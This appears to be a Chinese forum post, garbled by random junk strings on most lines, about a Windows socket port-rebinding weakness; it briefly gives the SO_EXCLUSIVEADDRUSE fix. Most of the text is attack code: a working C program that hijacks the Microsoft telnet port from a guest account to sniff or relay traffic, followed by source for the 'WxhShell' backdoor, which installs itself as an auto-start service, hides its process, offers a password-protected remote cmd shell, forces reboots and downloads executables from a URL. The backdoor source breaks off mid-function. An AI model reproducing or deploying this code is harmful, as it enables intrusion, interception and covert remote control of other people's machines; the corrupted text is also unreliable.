在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7Ku&Q<mi s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
j)8$hK/e0. |e!Y
C iU saddr.sin_family = AF_INET;
e~gNGr]L/ zf)*W#+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>k\p%{P *J^FV^E`` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
AVLY|79# =U~53Tg 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
>A@yF? ;g8v7>p 这意味着什么?意味着可以进行如下的攻击:
~*3Si(4l/ U*{0, Ue' 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R%r25_8 7_3
PM
3C 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
LkHH7Pd@ E8PwA. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Cm8h
b G[ns^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
';\norx; ?99r>01> 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0J[B3JO@M FT>>XP8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
@VHstjos^V %VB4/~ " 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:Nf(:D8 z7BFkZ6+ #include
m["e7>9G #include
28M^F~0 #include
,Gbc4x #include
kLF3s#k DWORD WINAPI ClientThread(LPVOID lpParam);
s+_8U}R int main()
+68age;dM {
\2~\c#-k WORD wVersionRequested;
/T {R\ DWORD ret;
x ]}'H WSADATA wsaData;
]qZj@0#7n BOOL val;
wAu]U6! SOCKADDR_IN saddr;
si~zg\uY SOCKADDR_IN scaddr;
L$"x*2[A int err;
y+$vHnS/jC SOCKET s;
^o>WCU = SOCKET sc;
IDF0nx] int caddsize;
vMX\q
HANDLE mt;
e\aW~zs 2 DWORD tid;
/EQ^-4yr wVersionRequested = MAKEWORD( 2, 2 );
=Gj~:|;$ err = WSAStartup( wVersionRequested, &wsaData );
#D(=[F if ( err != 0 ) {
)#4(4
@R h printf("error!WSAStartup failed!\n");
;D-k\kv return -1;
UWqiA`, }
#~m^RoE saddr.sin_family = AF_INET;
-f:PgBj q~iEw#0-L //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
m=COF$< "p+oi@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
mW[w4J+7P saddr.sin_port = htons(23);
Ed;!A(64r if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
yXtQfR {
L`O7-'` printf("error!socket failed!\n");
n/BoK6g return -1;
8eh3K8tL# }
%0vsm+XQ0E val = TRUE;
I:al[V2g //SO_REUSEADDR选项就是可以实现端口重绑定的
c9nv=?/}f if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
xrNe:Aj {
&F;bg printf("error!setsockopt failed!\n");
n^55G>"0| return -1;
{fEb> }
j~+(#| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
[*C~BM //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|z@AvS[ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Y)(w&E>1 -!T24/l if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
nnu#rtvZp} {
]<%NX
$9\ ret=GetLastError();
XdlA)0S) printf("error!bind failed!\n");
+#UawYLJ return -1;
>#T?]5Z'MF }
(bNoe(<qU listen(s,2);
\Q|,0` while(1)
9 ,tk {
cuf]-C1_ caddsize = sizeof(scaddr);
+uNMyVH //接受连接请求
p?
VDBAx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
wJgH15oB if(sc!=INVALID_SOCKET)
SuV3$-);z {
x=\W TC mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
hSps9*y if(mt==NULL)
0;w 4WJJ {
siV]NI':| printf("Thread Creat Failed!\n");
sQrM"i0Y> break;
PF)s> }
>G [:Q
s }
X$%W&:
CloseHandle(mt);
x
FvKjO) }
1Z(9<M1!M closesocket(s);
/
U~yYh WSACleanup();
o~xGE 6A*" return 0;
pma=* }
Q!AGalP z DWORD WINAPI ClientThread(LPVOID lpParam)
KNF{NFk {
9RK.+2 SOCKET ss = (SOCKET)lpParam;
'w/S6j SOCKET sc;
elD|b=(-
unsigned char buf[4096];
(\
|Go-2G SOCKADDR_IN saddr;
mgq4g long num;
(enOj0 DWORD val;
e+m(g DWORD ret;
;c@B +RquR //如果是隐藏端口应用的话,可以在此处加一些判断
$p}q,f. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
%w!x \U V saddr.sin_family = AF_INET;
%?/vC6 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}4,[oD saddr.sin_port = htons(23);
SapVS*yx@ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
R_:lp\S& {
wr>6Go% printf("error!socket failed!\n");
}_+) :<Db return -1;
! bX }
*^Z -4 val = 100;
y"_rDj` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XHJ/211 {
j0=H6Y ret = GetLastError();
vNm4xa% return -1;
16~5 ;u }
SEM-t if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vXak5iq>X {
zRR^v&.9K ret = GetLastError();
=,s5>2 return -1;
T7?z0DKi }
b:
I0Zv6 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
gU@R {
c48I-{? printf("error!socket connect failed!\n");
YTfi g{a closesocket(sc);
2H~E~6G closesocket(ss);
#1'p?%K. return -1;
^*,?x }
J8&0l&~6 while(1)
&~=d;llkT {
LO%OH
u}] //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
_akpW //如果是嗅探内容的话,可以再此处进行内容分析和记录
BMn`t@ !x //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
, LqfwA| num = recv(ss,buf,4096,0);
pA\"Xe& if(num>0)
@~i :8 send(sc,buf,num,0);
+a+DiD>./ else if(num==0)
v#5hK<9 break;
8'Q&FW3" num = recv(sc,buf,4096,0);
dZCjg0cx if(num>0)
iW[%|ddk send(ss,buf,num,0);
_6aI>b#yL else if(num==0)
?nM]eUAP break;
TH~"y }
j:2*hF!E closesocket(ss);
6""i<oR closesocket(sc);
1[e%E#h return 0 ;
}e>OmfxDBt }
uJ3*AO %)o;2&aD hdbm8C3 ==========================================================
Ed#Hilk' VF~kjH2> 下边附上一个代码,,WXhSHELL
N1l^%Yf J }~v0o#
I ==========================================================
%(r.`I$ h9&0"LHr #include "stdafx.h"
V$ "]f6 MX|@x~9W #include <stdio.h>
_u#r;h[ #include <string.h>
5^N`~ #include <windows.h>
WG&WPV/p #include <winsock2.h>
u)Vn7zh #include <winsvc.h>
?+byRoY>&g #include <urlmon.h>
-[z1r)RZ Z:VT%- #pragma comment (lib, "Ws2_32.lib")
Mw6
Mt
#pragma comment (lib, "urlmon.lib")
=BeJ.8$@VC y# IUDnRJ #define MAX_USER 100 // 最大客户端连接数
'D^@e0.3 #define BUF_SOCK 200 // sock buffer
Tqx #define KEY_BUFF 255 // 输入 buffer
~01t_Xp qc W"D>>]$|u #define REBOOT 0 // 重启
~mT([V #define SHUTDOWN 1 // 关机
"iuNYM5P w2V:g$~, #define DEF_PORT 5000 // 监听端口
J/c5)IB| is{H >#+" #define REG_LEN 16 // 注册表键长度
IG4`f~k^ #define SVC_LEN 80 // NT服务名长度
0He^r
&c3 E> YE3-] // 从dll定义API
jB\Knxm v typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
s<8|_Dt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
L ?S#3@Pa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
N. 0~4H
%U typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
KK/siG~O q]gF[&QZ // wxhshell配置信息
xepp."O struct WSCFG {
-K0!wrKC int ws_port; // 监听端口
E&\ 0+-Dw char ws_passstr[REG_LEN]; // 口令
#!w7E,UBi int ws_autoins; // 安装标记, 1=yes 0=no
f<Yg_ TG char ws_regname[REG_LEN]; // 注册表键名
=gO4B-[ char ws_svcname[REG_LEN]; // 服务名
AL[,&_&uV char ws_svcdisp[SVC_LEN]; // 服务显示名
mz3Dt> char ws_svcdesc[SVC_LEN]; // 服务描述信息
Vd A!tL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
6FEIQ#`{ int ws_downexe; // 下载执行标记, 1=yes 0=no
(CY#B%* char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5:SS2>~g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ji0FHa_ ev z@c)8 };
w*gG1BV g<YN# // default Wxhshell configuration
Url8&.pw struct WSCFG wscfg={DEF_PORT,
= Tq\Ag: "xuhuanlingzhe",
=dY!-#yg! 1,
uX+ YH "Wxhshell",
8]l(D "Wxhshell",
\s,~|0_V "WxhShell Service",
$u::(s}
x< "Wrsky Windows CmdShell Service",
mN1n/LNi "Please Input Your Password: ",
'~AR|8q? 1,
tIo
b "
http://www.wrsky.com/wxhshell.exe",
i:
VMCNH "Wxhshell.exe"
kB_T9$0e# };
1F{,Zr noO#o+
Jg# // 消息定义模块
Eb9n6Fg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
<4.j]BE char *msg_ws_prompt="\n\r? for help\n\r#>";
uMK8V_p*? char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
qR9!DQc' char *msg_ws_ext="\n\rExit.";
f^G-ba char *msg_ws_end="\n\rQuit.";
gh.+}8=" char *msg_ws_boot="\n\rReboot...";
:rEZR ` char *msg_ws_poff="\n\rShutdown...";
sv+6# char *msg_ws_down="\n\rSave to ";
KDLrt j-7aJj% char *msg_ws_err="\n\rErr!";
b-YmS=* char *msg_ws_ok="\n\rOK!";
"$A5:1; 3shd0q< char ExeFile[MAX_PATH];
kp^q}iS int nUser = 0;
Ceew~n{ HANDLE handles[MAX_USER];
[rReBgV int OsIsNt;
'j\mz5#s D|IS@gWa SERVICE_STATUS serviceStatus;
5>aK4: S/ SERVICE_STATUS_HANDLE hServiceStatusHandle;
-{NP3zy ^n*:zmD // 函数声明
/&zlC{:G92 int Install(void);
,n&Lp int Uninstall(void);
j5rMY=|F int DownloadFile(char *sURL, SOCKET wsh);
6bT>x5? int Boot(int flag);
Y-~MkB void HideProc(void);
eZ{Ce.lNR int GetOsVer(void);
S%jFH4# int Wxhshell(SOCKET wsl);
+6:jm54 void TalkWithClient(void *cs);
3e)$ <e int CmdShell(SOCKET sock);
Gyb|{G_ int StartFromService(void);
#?'@?0<6 int StartWxhshell(LPSTR lpCmdLine);
\w)ddc!ZS NYc ;Zwv9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
g9j&\+h^ VOID WINAPI NTServiceHandler( DWORD fdwControl );
`bF4/iBW 0U?(EJ // 数据结构和表定义
5RyxVC0< SERVICE_TABLE_ENTRY DispatchTable[] =
aev(CY,z {
]U,m
1 {wscfg.ws_svcname, NTServiceMain},
@ ?bY, {NULL, NULL}
=ba1::18 };
5-UrHbpCZ# kc<5wY_t // 自我安装
lLLPvW[Q int Install(void)
WG
+] {
~bz$] o-< char svExeFile[MAX_PATH];
9(lcQuE9 HKEY key;
RV%)~S@!R strcpy(svExeFile,ExeFile);
Ezr q2/~Q F:8@ ]tA& // 如果是win9x系统,修改注册表设为自启动
yYdh+ x
if(!OsIsNt) {
d
'\^S} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
0 gR_1~3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
S}qGf%
RegCloseKey(key);
rA}mp] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
k+~2
vmS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
(,b\"Q RegCloseKey(key);
p!K^Q3kO return 0;
B_>r|^Vh }
`W.g1"o8W4 }
gyxC)br }
p$cb&NNh*H else {
i!iG7X)qT }:(;mW8
D // 如果是NT以上系统,安装为系统服务
2 a*+mw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NdrR+t^# if (schSCManager!=0)
N_d{E/ {
wLNkXC SC_HANDLE schService = CreateService
35 L\ (
LIT`~D schSCManager,
ZO>)GR2S wscfg.ws_svcname,
|XV`A)=f wscfg.ws_svcdisp,
]GD&EQ SERVICE_ALL_ACCESS,
RwhKW?r+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@^GI :z SERVICE_AUTO_START,
D[)_
f SERVICE_ERROR_NORMAL,
Q{CRy-ha svExeFile,
@FF80U4' NULL,
r_kaS
als NULL,
X"7x_yOZ NULL,
b1QHZY\g{ NULL,
4p%^?L? NULL
trB-(B%5 );
HE>V\+
AL if (schService!=0)
t+\<i8 {
Q$sC%P(y CloseServiceHandle(schService);
j8aH*K-l{ CloseServiceHandle(schSCManager);
9$D}j" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/F6"uZSt4 strcat(svExeFile,wscfg.ws_svcname);
hBVm;` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
%(]B1Zg6, RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
gtT&97tT< RegCloseKey(key);
#Nad1C/] return 0;
G( BSe`f }
'K01"`# }
hT `&Xb CloseServiceHandle(schSCManager);
57O|e/2 }
T3LVn<Lm\ }
Y*{5'q+2 s_^N=3Si
return 1;
6/ T/A+u }
ei"c|/pO [j0jAl // 自我卸载
J8ScKMUN2 int Uninstall(void)
@(+\*]?^& {
\DWKG~r-% HKEY key;
sx]{N Qvel#*-4 if(!OsIsNt) {
J3e'?3w[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
%9J:TH9E) RegDeleteValue(key,wscfg.ws_regname);
TjI&8#AWBA RegCloseKey(key);
ii>^]iT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
/I{K_G@ RegDeleteValue(key,wscfg.ws_regname);
8&3&^!I RegCloseKey(key);
f(5;Rf( return 0;
esq~Ehr= }
BOP7@ D }
RLzqpE<rJ }
?P4y$P else {
V?mk*CU -]{
_^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\(;u[ if (schSCManager!=0)
D,|TQQ {
uH,/S4?X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
R(,m! if (schService!=0)
B-$zioZ {
wXZ9@(^ if(DeleteService(schService)!=0) {
W~a|AU8]C CloseServiceHandle(schService);
WFhppi CloseServiceHandle(schSCManager);
9W_mSum return 0;
O(v>\MV }
B9$pG CloseServiceHandle(schService);
[_(uz,' }
BUV4L5( CloseServiceHandle(schSCManager);
%4t?X }
NU+PG`Vb }
y>#kT \I^"^'CP return 1;
XKDX*x G }
[2>zaag 9I$}=&" // 从指定url下载文件
:eT\XtxM~{ int DownloadFile(char *sURL, SOCKET wsh)
fY?:SPR+ {
EyA(W;r. HRESULT hr;
qR_Np5nHF char seps[]= "/";
}Kp$/CYd char *token;
bg_io* K char *file;
Iza;~8dH5 char myURL[MAX_PATH];
2X*n93AQi char myFILE[MAX_PATH];
b?VByJl 7/_|/4& strcpy(myURL,sURL);
;!lwB token=strtok(myURL,seps);
bv7xh*/ while(token!=NULL)
PRx- 0S {
&;p}HL, file=token;
g1_z=(i`Z token=strtok(NULL,seps);
?^MH:o }
]YfG`0eK< !!8;ZcL}Z GetCurrentDirectory(MAX_PATH,myFILE);
ZX.,<vumSy strcat(myFILE, "\\");
g& f)WQ( strcat(myFILE, file);
-3wid1SOm send(wsh,myFILE,strlen(myFILE),0);
7GG`9!l]D send(wsh,"...",3,0);
UH;bg}=8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
a`]ZyG*P if(hr==S_OK)
.j"heYF) return 0;
x\yr~$}(J else
;]=@;? 9 return 1;
JUXBMYFus !0|&f>y }
L<XX?I\p 6c27X/'Z // 系统电源模块
2PUB@B'
+ int Boot(int flag)
[;4ak)! {
I9rQX9#B
HANDLE hToken;
O8N1gf;t TOKEN_PRIVILEGES tkp;
~E_irzOFP c* ~0R? if(OsIsNt) {
*~cNUyd OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
|nr;OM LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}H
saJ=1U tkp.PrivilegeCount = 1;
RBg2iG$8| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Raetz>rL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
c,ct=m.|6A if(flag==REBOOT) {
&B=z*m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
'J!Gip , return 0;
yB=R7E7 }
2n2,MB else {
'MB+cz+v if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
yd'cLZd<} return 0;
M?hPlo"_ }
K`ygW|?gt }
LWSy"Cs* else {
3m2y<l< if(flag==REBOOT) {
dl |$pm@x if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h.Sbds return 0;
s|Vs#o.P) }
.i*ja* else {
Z=%u:K}[ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'%:E4oI return 0;
xG Y!r"[ }
f,LeJTX= }
bNtOqhi PJe\PGh return 1;
m7XN6zX }
%u<r_^w5 jGJf[:M&Pm // win9x进程隐藏模块
;A*sub void HideProc(void)
.>PwbZ {
jv1p'qs4 K@!hrye HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
)=aqj@v if ( hKernel != NULL )
*/TO$ ^s {
e%{7CR'~TD pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
@T.F/Pjhc ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8JW0;H< FreeLibrary(hKernel);
J4iu8_eH!D }
<Nc9F[' *laFG<; return;
3O2vY1Y2 }
QV*la= j/ 0TICv2l! // 获取操作系统版本
VeQ [A?pER int GetOsVer(void)
1hV&/Qr {
/w2IL7} OSVERSIONINFO winfo;
~{kA;uw winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
>SYOtzg% GetVersionEx(&winfo);
P>x88M if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
7ruWmy;j return 1;
>Yv#t.! else
Qt^6w}& return 0;
A,=
R`m }
Yx ;j |Xv\3r // 客户端句柄模块
XoMgbDC int Wxhshell(SOCKET wsl)
CaoQPb* {
p{SIGpbR& SOCKET wsh;
Esg: struct sockaddr_in client;
2elj@EB,M DWORD myID;
{c&9}u$e a{?>F&vnU while(nUser<MAX_USER)
TFhYu {
<!|=_W6 int nSize=sizeof(client);
6Hd^qouid wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
D6e<1W if(wsh==INVALID_SOCKET) return 1;
*1>T c,mb _F8-4 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Ag1nxV1M$ if(handles[nUser]==0)
aIWpgUd` closesocket(wsh);
(ijO|%? else
7FP"]\x nUser++;
g)MLgjj }
)*o) iN 7l WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
:+ "JPF4X Ac[;S!R return 0;
x_H"<-By }
[Kbna>` vha@YPC= // 关闭 socket
A{') void CloseIt(SOCKET wsh)
I+Fr#1 {
\}Pr!tk! closesocket(wsh);
)9!ZkZbv_m nUser--;
a$6pA@7} ExitThread(0);
E
6!V0D }
m :]F&s (Pt*|@i2c // 客户端请求句柄
OQT i$2 void TalkWithClient(void *cs)
(fO~nN{F {
$>%zNq-F 6(HJYa SOCKET wsh=(SOCKET)cs;
L+)mZb& char pwd[SVC_LEN];
e9B$"_ &2 char cmd[KEY_BUFF];
!|Y&h0e char chr[1];
?
5hwz int i,j;
"n<u(m8E +,9Muf h while (nUser < MAX_USER) {
'9|R7 ^}GR!990 if(wscfg.ws_passstr) {
H329P*P if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
;[Hrpl
S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
R"PO@v //ZeroMemory(pwd,KEY_BUFF);
Q@UY4gA' i=0;
q{)Q ?E while(i<SVC_LEN) {
%E2C4UbY .>(qZEF // 设置超时
E95VR?nUg fd_set FdRead;
] m^ECA$ struct timeval TimeOut;
.MRLAG FD_ZERO(&FdRead);
iWn7vv/t FD_SET(wsh,&FdRead);
0+S'i82=M TimeOut.tv_sec=8;
}HZ'i;~r|9 TimeOut.tv_usec=0;
KhbbGdmfS$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
;{cl*EN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
'zTa]y]a 6IM:Xj if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
P99s pwd
=chr[0]; 0 f"M-x
if(chr[0]==0xd || chr[0]==0xa) {
N/AP8
pwd=0; );x[1*e
break; :SpPT
} d _koF-7
i++; f P1fm
} mDU-;3OqF
qk(u5Z
// 如果是非法用户,关闭 socket sk`RaDq@;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dtq]_HvTJ
} lnnt b3q
~9+\
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); k+cHx799
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cGjkx3l*
7kidPAhY
while(1) { W-ECmw(
rYr.mX
ZeroMemory(cmd,KEY_BUFF); .'N#qs_
{eo?vA8SE
// 自动支持客户端 telnet标准 /?QBMI
j=0; oI%.oP}G
while(j<KEY_BUFF) { \R<OT%8
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8f|+045E@
cmd[j]=chr[0]; .DHRPel
if(chr[0]==0xa || chr[0]==0xd) { SkA"MhX
cmd[j]=0; '~'3x4Bo
break; @BXV>U2B{
} tA{<)T
j++; Tk4"qGC.
} [p_C?hHO
=p';y&
// 下载文件 rhvsd2zi
if(strstr(cmd,"http://")) { 6T~xjAuJ3T
send(wsh,msg_ws_down,strlen(msg_ws_down),0); S>p>$m,
Q
if(DownloadFile(cmd,wsh)) .](s\6'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); doaqHri\,
else meV
RdQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \>-%OcYlM
} U
z6XQskX
else { _u`W$EG
L
tMy@'nj
switch(cmd[0]) { $eBE pN
7gQ~"Q
// 帮助 I^6zUVH
case '?': { jVu3 !{}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /c 1FFkq|K
break; wA}+E)x/C
} .oo>NS
// 安装 Fc<+N0M{
case 'i': { hYN b9^
if(Install()) BK]q^.7+:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gwkp(9d
else 4%k_c79>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "2bCq]I0
break; 07+Qai-]
} Z5o6RTi
// 卸载 r
yO\$m
case 'r': { zKk2>.
if(Uninstall()) g< {jgF
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bXiT}5mJU
else j7 D\O
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zW^@\kB0D
break; NUH#
} 9_GR\\
// 显示 wxhshell 所在路径 cv["Ps#;`W
case 'p': { aNCIh@m~
char svExeFile[MAX_PATH];
Ol24A^
strcpy(svExeFile,"\n\r"); ,#r>#fi0
strcat(svExeFile,ExeFile); R@r"a&{/
send(wsh,svExeFile,strlen(svExeFile),0); r#pC0Yj!3
break; _`zj^*%
} 6F3#Rxh
// 重启 7=8e|$K_
case 'b': { ZWSYh>"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I%whM~M1+
if(Boot(REBOOT)) 3say&|kJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LdAfY0
else { "tbKKh66
closesocket(wsh); BUcze\+
ExitThread(0); e;<=aa)}?
} !285=cxz
break; {@oYMO~
} kGMI
?
// 关机 7PZ0
case 'd': { rr#&0`]
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pVt8z|p_;{
if(Boot(SHUTDOWN)) &la;Vu"dp
send(wsh,msg_ws_err,strlen(msg_ws_err),0); fG5 U' Vw
else { m$:o+IH/
closesocket(wsh); b{t'Doe
ExitThread(0); Uok?FEN
} lM5Xw
break; =?3D:k7z
} t3b%f`D
// 获取shell N$H0o+9-Y
case 's': { AjK'P<:/
CmdShell(wsh); g#1_`gK
closesocket(wsh); Jn.WbS
ExitThread(0); g~Zel}h#
break; %@5f+5{i!z
} Qe=!'u.nL
// 退出 `|;R}"R;
case 'x': { ;K0kQ<y-Y
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W@1Nit-R
CloseIt(wsh); _d&FB~=
break; 5TVDt
} C-$S]6
// 离开 hof:+aW
case 'q': { ajW[}/)
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _.OajE\T
closesocket(wsh); c?CjJ}-7
WSACleanup(); 9Ay*'
exit(1); _rK}~y=0
break; b&Qj`j4]ZM
} jnX9] PkJ
} !~cTe!T
} XFPWW ,
DGTSk9iK(
// 提示信息 Dg4?,{c9W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rm NqS+t
} pUWj,&t
} Zycu3%JI
SqTO~zGC
return; 37Z:WJ?
} _U)DL=a'
d$/BF&n
// shell模块句柄 U&|=dH]-
int CmdShell(SOCKET sock) GM{m(Y
{ $cFanra
STARTUPINFO si; jAmAT/ 1
ZeroMemory(&si,sizeof(si)); VC\43A,9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O/>$kG%ge
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =m=`| Bn
PROCESS_INFORMATION ProcessInfo; !12W(4S5
char cmdline[]="cmd"; H~1*`m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -#H>kbs
return 0; ^S'}RZ*>
} ;GO>#yg4Eh
s2Ivd*=mT
// 自身启动模式 ! q!
=VC
int StartFromService(void) &)O X*y
{ H3}{]&a
typedef struct 0x'>}5`5
{ u<./ddC
DWORD ExitStatus; l
njaHol0
DWORD PebBaseAddress; !dYkvoQNn
DWORD AffinityMask; *? 7Ie;)
DWORD BasePriority; DF/p{s1Y3
ULONG UniqueProcessId; l.?R7f
ULONG InheritedFromUniqueProcessId; MVK='
} PROCESS_BASIC_INFORMATION; el39HB$
